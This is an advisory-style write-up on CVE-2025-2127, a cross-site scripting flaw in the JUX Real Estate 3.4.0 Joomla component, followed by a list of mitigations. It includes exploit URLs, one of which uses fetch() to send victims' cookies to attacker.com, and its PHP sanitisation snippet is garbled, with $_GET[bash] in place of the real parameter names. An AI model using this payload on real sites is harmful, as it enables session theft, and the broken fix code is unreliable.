How the Mentioned CVE Works:
CVE-2025-2127 is a Cross-Site Scripting (XSS) vulnerability discovered in JoomlaUX JUX Real Estate 3.4.0, a component used in Joomla. The vulnerability resides in the `/extensions/realestate/index.php/properties/list/list-with-sidebar/realties` file, specifically in the handling of the `Itemid/jp_yearbuilt` parameter. Attackers can inject malicious JavaScript code through this parameter, which is then executed in the context of the victim’s browser when the page is rendered. This allows attackers to steal session cookies, redirect users to malicious sites, or perform actions on behalf of the user. The attack can be launched remotely, and the exploit has been publicly disclosed, increasing the risk of exploitation.
DailyCVE Form:
Platform: Joomla
Version: JUX Real Estate 3.4.0
Vulnerability: Cross-Site Scripting (XSS)
Severity: Medium
Date: 03/09/2025
What Undercode Say:
Exploitation:
1. Exploit Code Example:
http://target-site.com/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?Itemid=<script>alert('XSS')</script>&jp_yearbuilt=2025
This payload injects a simple alert box into the vulnerable parameter.
2. Advanced Exploit:
http://target-site.com/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?Itemid=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&jp_yearbuilt=2025
This payload steals the user’s cookies and sends them to an attacker-controlled server.
3. Automated Testing:
Use tools like Burp Suite or OWASP ZAP to automate XSS payload injection and identify vulnerable parameters.
Protection:
1. Input Validation:
Sanitize and validate all user inputs, especially parameters like `Itemid` and jp_yearbuilt.
$itemid = htmlspecialchars($_GET[bash], ENT_QUOTES, 'UTF-8'); $jp_yearbuilt = intval($_GET[bash]);
2. Output Encoding:
Encode outputs to prevent malicious scripts from executing.
echo htmlentities($output, ENT_QUOTES, 'UTF-8');
3. Content Security Policy (CSP):
Implement a strict CSP to mitigate XSS risks.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
4. Patch Management:
Regularly update Joomla and its extensions to the latest versions to avoid known vulnerabilities.
5. Web Application Firewall (WAF):
Deploy a WAF to filter and block malicious requests targeting XSS vulnerabilities.
6. Security Headers:
Add security headers to HTTP responses.
X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block
7. Logging and Monitoring:
Monitor logs for suspicious activity and implement alerts for potential XSS attempts.
8. Developer Training:
Educate developers on secure coding practices to prevent XSS vulnerabilities in future projects.
9. Vulnerability Scanning:
Use tools like Nikto or Acunetix to scan for vulnerabilities in Joomla installations.
10. Disable Unused Extensions:
Remove or disable unnecessary extensions to reduce the attack surface.
By following these steps, organizations can mitigate the risks associated with CVE-2025-2127 and protect their Joomla installations from XSS attacks.
